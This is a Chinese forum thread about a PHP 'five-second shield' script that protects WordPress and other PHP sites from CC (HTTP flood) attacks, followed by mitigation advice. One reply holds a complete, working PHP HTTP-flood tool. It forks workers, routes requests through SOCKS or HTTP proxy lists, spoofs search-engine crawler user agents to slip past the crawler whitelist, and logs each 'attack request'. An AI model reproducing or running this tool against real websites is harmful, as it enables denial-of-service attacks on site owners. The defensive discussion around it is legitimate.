5秒盾防CC（PHP通用代码）

lonefly · 发表于 2019-3-2 14:17:12

您的主题 Wordpress - 5秒盾防CC（PHP通用代码）被 mtx 关闭，刚才的帖子被关闭了；

重新发一帖

这是个类似Cloudflare的防 cc 功能，利用的是五秒盾的原理，经过检测得到 cookie 的浏览器才能正常的访问你的网站了，当然了，面对数以万计的肉鸡，这代码还是无能为力的，所以说做人就要低调，别到处装逼，到时候被打了惨的还是自己。

代码见签名网站

WordPress 上传到主题/template/cc.php ;

调用代码
PHP 通用调用，在头部或主要文件内文件加入：

<?php include 'cc.php'; ?>

复制代码

WordPress 调用，主题/header.php 第一行添加代码：

<?php get_template_part( 'template/cc' ); ?>

复制代码

搜索引擎蜘蛛已经过滤，不影响收录，还有未加上的可以自己补充。平时没攻击的时候建议不要开启，影响网站体验，配合《Nginx lua waf 简单防御 CC 攻击》效果更佳。

Kslr · 发表于 2019-3-2 16:00:12

打到FPM了，只能说是基础缓解，最好在nginx上用lua写

kagurazakashira · 发表于 2019-3-2 14:26:46

让我们来出一个对策

CURLPROXY_SOCKS5改为CURLPROXY_HTTP即可食用http代理
改为CURLPROXY_SOCKS4可使用socks4代理

<?PHP
ini_set('memory_limit', '-1');
$ua = [
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
"Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)",
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
"Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)",
"Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)",
"Mozilla/5.0 (compatible; MJ12bot/v1.4.7; http://mj12bot.com/)",
"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)",
"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)",
"Googlebot-Image/1.0",
"Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)",
"Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)",
"msnbot/1.0 (+http://search.msn.com/msnbot.htm)",
"msnbot/2.0b (+http://search.msn.com/msnbot.htm)",
"Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534+ (KHTML, like Gecko) BingPreview/1.0b",
"Mozilla/5.0 (compatible; AhrefsBot/5.1; +http://ahrefs.com/robot/)",
"msnbot/1.1 (+http://search.msn.com/msnbot.htm)",
"Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 BingPreview/1.0b",
"Baiduspider+(+http://www.baidu.com/search/spider.htm)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com)",
"FBexternalhit/1.1 (+http://www.FB.com/externalhit_uatext.php)",
"Googlebot/2.1 (+http://www.google.com/bot.html)",
"msnbot-media/1.0 (+http://search.msn.com/msnbot.htm)",
"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)",
"msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)",
"msnbot/0.01 (+http://search.msn.com/msnbot.htm)",
"Mozilla/5.0 (compatible; DotBot/1.1; http://www.dotnetdotcom.org/, crawler@dotnetdotcom.org)",
"Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)",
"Mozilla/5.0 (compatible; Exabot/3.0; +http://www.exabot.com/go/robot)",
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Google Favicon",
"msnbot/0.3 (+http://search.msn.com/msnbot.htm)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (http://www.voila.com/)",
"Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA 1.2 (http://www.voila.com/)",
"YahooMailProxy; https://help.yahoo.com/kb/yahoo-mail-proxy-SLN28749.html",
"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (compatible; MJ12bot/v1.4.3; http://www.majestic12.co.uk/bot.php?+)",
"Yahoo-MMCrawler/3.x (mms dash mmcrawler dash support at yahoo dash inc dot com)",
"ia_archiver",
"Mozilla/5.0 (compatible; AhrefsBot/4.0; +http://ahrefs.com/robot/)",
"Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)",
"FAST Enterprise Crawler 6 / Scirus scirus-crawler@fast.no; http://www.scirus.com/srsapp/contactus/",
"Pinterest/0.2 (+http://www.pinterest.com/)",
"FAST MetaWeb Crawler (helpdesk at fastsearch dot com)",
"Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Exabot-Thumbnails)",
];
function partition($list, $p)
{
$listlen = count($list);
$partlen = floor($listlen / $p);
$partrem = $listlen % $p;
$partition = array();
$mark = 0;
for ($px = 0; $px < $p; $px++) {
$incr = ($px < $partrem) ? $partlen + 1 : $partlen;
$partition[$px] = array_slice($list, $mark, $incr);
$mark += $incr;
}
return $partition;
}
if ($argc < 6) {
echo "normal\nVersion: 0.1\n";
echo "Usage: php {$argv[0]} <url> <reflection file> <threads> <method(get or post)> <time> [request data]\n";
echo "Power by Kagurazaka Shira\n";
exit;
}
if (!file_exists("$argv[2]")) {
exit("Invalid input file!\n");
}
$method = strtolower($argv[4]);
if ($method != 'get' && $method != 'post') {
exit("Invalid input method!\n");
}
$data = $argv[6] ?? ''; //请求参数
if ($method == 'get' && !empty($data)) {
$url = strpos($url, '?') ? ($url . '&' . $data) : ($url . '?' . $data);
}
$url = $argv[1]; //url
$array = file($argv[2], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); //列表
$childcount = $argv[3]; //线程数
$array = array_unique($array);
$part = array();
$part = partition($array, $childcount); //列表分割
$end_time = time() + intval($argv[5]);
for ($i = 0; $i < $childcount; $i++) {
$pid = pcntl_fork();
if ($pid == -1) {
echo "Forking failed on loop $i\n";
exit;
} else if ($pid) {
continue;
} else {
while ($end_time > time()) {
foreach ($part[$i] as $ip) {
$rand_num = mt_rand();
$rand_str = md5($rand_num);
$url = str_replace(['{:rand_num}', '{:rand_str}'], [$rand_num, $rand_str], $url);
// var_dump($url);
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_ENCODING => "",
CURLOPT_PROXYTYPE => CURLPROXY_SOCKS5,
CURLOPT_PROXY => $ip,
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
// CURLOPT_CUSTOMREQUEST => "GET",
CURLOPT_HTTPHEADER => array(
"accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
// "accept-encoding: deflate, br",
"accept-language: zh-TW,zh-HK;q=0.9,zh-CN;q=0.8,zh;q=0.7,ja-JP;q=0.6,ja;q=0.5,en-US;q=0.4,en-HK;q=0.3,en;q=0.2,ru;q=0.1,fa;q=0.1",
"cache-control: no-cache",
"dnt: 1",
"pragma: no-cache",
"upgrade-insecure-requests: 1",
"user-agent: " . $ua[array_rand($ua)],
),
));
if ($method == 'post' && !empty($data)) {
$data = str_replace(['{:rand_num}', '{:rand_str}'], [$rand_num, $rand_str], $data);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
}
$response = curl_exec($curl);
if (empty($response)) {
// echo "proxy {$ip} down.\n";
continue;
} else {
echo "attack request use {$ip} success\n";
}
}
}
exit;
}
}
for ($j = 0; $j < $childcount; $j++) {
$pid = pcntl_wait($status);
}

复制代码

lonefly · 发表于 2019-3-2 15:22:34

那就通过HTTP协议头中的REMOTE_ADDR、HTTP_VIA、HTTP_X_FORWARDED_FOR来判断是代理禁止访问；

或者通过WebRTC的JS，HTML5的API检测代理并禁止

tem · 发表于 2019-3-2 16:01:54

你起码把ip加到防火墙drop掉才有效果

why? · 发表于 2019-3-2 16:46:59

都来到后端了，iptable 或者 nginx 就应该禁了

By小酷 · 发表于 2019-3-2 17:18:32

反正都到你的服务器了，你禁不禁根本无所谓，攻击目的已经达到，你再去禁止，怎么说呢，就是别人打你一巴掌，你然后摸摸脸说，不疼不疼，有啥用

PT80 · 发表于 2019-3-2 17:45:25

又看到了大佬了

lonefly · 发表于 2019-3-3 13:49:57

Kslr 发表于 2019-3-2 16:00
打到FPM了，只能说是基础缓解，最好在nginx上用lua写

https://www.yunloc.com/167.html

已经有Nginx_lua_waf教程了

		自动登录	找回密码
密码			注册

[疑问] 5秒盾防CC（PHP通用代码）

点评